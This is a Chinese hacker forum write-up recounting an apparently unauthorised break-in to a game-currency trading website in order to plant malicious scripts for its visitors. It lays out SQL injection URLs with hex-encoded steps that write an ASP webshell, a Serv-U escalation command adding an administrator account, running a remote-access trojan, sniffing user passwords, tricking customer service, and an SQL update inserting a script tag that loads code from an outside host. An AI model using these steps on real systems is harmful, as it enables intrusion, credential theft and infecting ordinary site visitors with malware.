检测国内大型网游戏交易站

 作者:清雅风萍  来源:火狐
我在6月份的时候帮朋友检测了一个国内的游戏币交易网站只要拿到挂马的权限就可以了.
在国内也是大大有名的.
网址:www.abc.com (真实地址隐藏)
ip :221.2.201.165 (真实地址隐藏)
网站系统结构:linux+mysql+apache+php 都是慢慢的检测发现的.
这是这一个php写的网站.我先用x-scan扫描了它的端口.只开了80 别的都没开.我对linux服务的溢出非
常的菜.我就不打算从这里下手了.我在网站上面看了一个多小时.注入点也没有,上传漏洞和远程包函也没找到
也许是我太菜..最可气的时候.后台我都没有看到..
我仔细的看了,然后我在网上找了.也没有相同的程序 80%也是他们公司自己的开发的.检测这样的站点
更是增加了难度.怎么办呢?不搞了.出去转转.找个美女陪我聊聊天..一个小时候之候就回来了.
换了一个思路,我想从这个网站下手不好使,那我可以从别的网站上试一下试啊.
我用跨站的方式找到同一服务器的别一个网站.更可气的都是同一个家公司的.一个是英文版的一个中文版的,程序
是一样的.就这样我对这个服务器,宣部无条件投降!!

但是我也不能放弃啊.我扫描它这个网段的机器  找了3个比较相近的ip
221.2.201.158
221.2.201.162
221.2.201.167

我就选了221.2.201.167 这个机器.搞了半天还是没进展.还是放弃.但是还有一台机器
221.2.201.162
还是个03系统的.我用啊D快速的找到了这个服务器上面的网站.没想到,老天爷还挺给我面子,竞然还有注入点还是
当前库:abcnews      当前权限DB_OWNER:    当前用户:123.com
这下靠这个可以拿一个webshell了,
我用工具啊D猜解网站的web目录.很快找到了,看起来这个目录是管理员有意改的这样的..他也万万没想到
千里之堤,溃于蚁穴,就这么一个小小注入点就拿到了administrator权限
e:/bew/123.com/
注入点:http://www.123.com/news/GoodsList.asp?GSeqNo=9
一句话的木马e:/bew/123.com/1.asa  
我用nbsi的差异备份功能备份 一句话木马 心里正高兴的呢?心想这回可以拿一个webshell
可是好事总总不能落在我的头上.备份之后我访问这个地址:www.123.com/1.asa
反回404错误页面,文件不存在.我心里是不是被杀了还是怎么回事.于是我又换一句话木马.
提交之后还是同样的错误.想了半天,也不知道是咋回事.还是出去抽根烟吧.都说抽烟有助于活跃思路
(别听我瞎说,我自己说的..)一根烟的功夫,突然想到了一个问题.我以前在遇到这情况的时候的
我在注入点后面加了一个'逗号就可备份一句话了..我这回也试试
第 一 步:
http://www.123.com/news/GoodsList.asp?GSeqNo=9';create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
http://www.123.com/news/GoodsList.asp?GSeqNo=9';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 三 步
http://www.123.com/news/GoodsList.asp?GSeqNo=9';insert into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
第 四 步
http://www.123.com/news/GoodsList.asp?GSeqNo=9';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C006200650077005C006100620063002E0063006F006D005C0031002E00610073006100 backup log @a to disk=@s with init,no_truncate--
第 五 步
http://www.123.com/news/GoodsList.asp?GSeqNo=9';Drop table [shit_tmp]--

我的心就像掉起来似的...特别的紧张.这也不是拍电视,紧张个啥呢?要是这个拿不下.看来就没有必要回忆
这次检测的过程了..恭喜你,你都学会抢答了.成功备提shell..开始上传大马

http://www.123.com/ntop.asp  输入网马地址看这个盼望己久的画面.输入密码.7788223
现在拿到了webshell就准备开始提权的工作了.
上传cmd连只可以运行简单的查看命令net user等等.我打开了C:/Program Files/serv-u 我看到这个目录
我心想它装了serv-u这个提权就方面多了.利用asp网马自带的Servu提权(超强版)提权下.
配置如下:
Serv-U 提升权限 ASP版
用户名:  LocalAdministrator
口 令：  #l@$ak#.lk;0@P
端 口：  43958
系统路径：  c:
命　令：  cmd /c net user xiao xiao  /add & net localgroup administrators xiao /add

然后点提交.1..2..3..提交成功不知道能不能加进去管理员..我用net user 查到

用户名                xiao
全名

本地组成员            *Administrators      *Users
全局组成员            *None
命令成功完成。


添加管理员成功了.yeah...........
选择3389信息.他没开3389.
当前终端服务端口: 3389
系统自动登录功能未开启
原来打算开一个3389的.就传一个小鸽子上去吧..这样也省得开3389了多省事啊...

上传一个鸽子服务端上去..上传目录:e:/bew/123.com/news/top.exe
还是用刚才添加管理员的功能(Serv-U 提升权限 ASP版)来运行木马
cmd /c e:/bew/123.com/news/top.exe

我打开鸽子客户端.成功上线.
要测试一下.他们之间是不是同一个交换下面.打开鸽子的终端.登入上去.
运行:cmd  tracert 221.2.201.165
出来一些信息.他们就是在同一交换机下面.只经过了一路由,就到指向了那个机器
上传嗅探工具cain 配置好相关的信息之后,开嗅探221.2.201.165的一些信息.
这个网站的流量挺大的.好多用户的用户名和密码.全是用户的没啥用处我想要的是管理员的信息
拿到这个权限的时候应该是11点左右吧.就是这嗅下去,也没什么有用的信息.
我突然相到一个办法,就是假办他们的客户,说他们网站上被人挂了木马.有病毒.
我就找到他们的客服和客服说:我去你网站上下订单,我的杀毒软件提示有病毒,我没赶下单
客服说:好的,请您稍等.我们去查一下.没想我这招还真管用.没到一分钟的时候cain就嗅出一个
路径:www.abc.com/qjtpgjfkm/qtpkm_index.php 这样一个目录我输入一个地址就是后台管理
有意思的是qjtpgjfkm我是用五笔加加输入法.按照这个打法就可以:我是管理员 就可以打出这几个字.这个管理员真是费劲了心
思..它也不怕把大脑累着...

留个后门 清理日志闪人....

我好不容易拿到了管理员密码.进后台,还好后台是中文的要是英文的也够我玩半天的了.
想在后台找一个上传的功能.找了好几次,才找到.那里面一个文件管理功能,可以在线编辑网站文件
我就新建一个but.php的文件.粘贴php木马保存文件,bbs/1.php只有这个bbs目录有读写权限..就这样这个webshell就拿下了.但是这个网站目录abc_.com.只有编辑权限确没有
写读权.给挂马带来了不便.
当时我对linux提权还不是很了解.没有办法完成这个提权.我好只好找到连接mysql的文件.只有修改mysql的数据才能挂马
找到mysql的文件内容
       $DB_HOST = "localhost";
       $DB_USER = "wowabc";
       $DB_PASSWD = "wowabc";
       $DB_Database = "wow";

这台机器只开了80端口,我想用本地连接他的数据库,还限制ip无法连接
因为php的shell 有连接mysql的功能.输入mysql的账号.连接成功.

用下面的语句来操作mysql 什么意思我就不说.我想大家都看得懂,看不懂得自己去学学mysql语法
show databases;
use wow;
show tables;
abc_com
abc_news
use abc_news

找了半到找到才到了  abc_news 这个表.再看看他网站首页的文件http://www.abc.com/news_detail.php?news_id=1217
按照这个连接找到这个条数据
用下面的更新语来挂马
update set abc_news new_title='重申录像收货标准-只<网马script scr="http://www.123333.com/js.js"代码>要录像清晰合标准，必定结算' where news_id=1217


就这样达到我们的目地